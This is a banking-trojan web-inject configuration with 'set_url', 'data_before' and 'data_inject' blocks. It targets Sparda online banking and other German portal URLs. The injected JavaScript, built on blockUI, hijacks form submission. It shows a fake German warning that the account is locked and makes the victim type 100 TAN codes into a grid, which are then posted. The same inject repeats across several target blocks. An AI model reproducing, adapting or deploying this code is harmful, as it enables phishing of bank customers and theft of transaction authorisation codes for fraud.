window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str=''+str.toString();
	} else if (str<100) {
		str=''+str.toString();
	} else if (str=100) {
		str=''+str.toString();
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


set_url https://banking.sparda.de/wps/portal/spardamodern-banking* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str=''+str.toString();
	} else if (str<100) {
		str=''+str.toString();
	} else if (str=100) {
		str=''+str.toString();
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


set_url *.de/portal/portal/* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
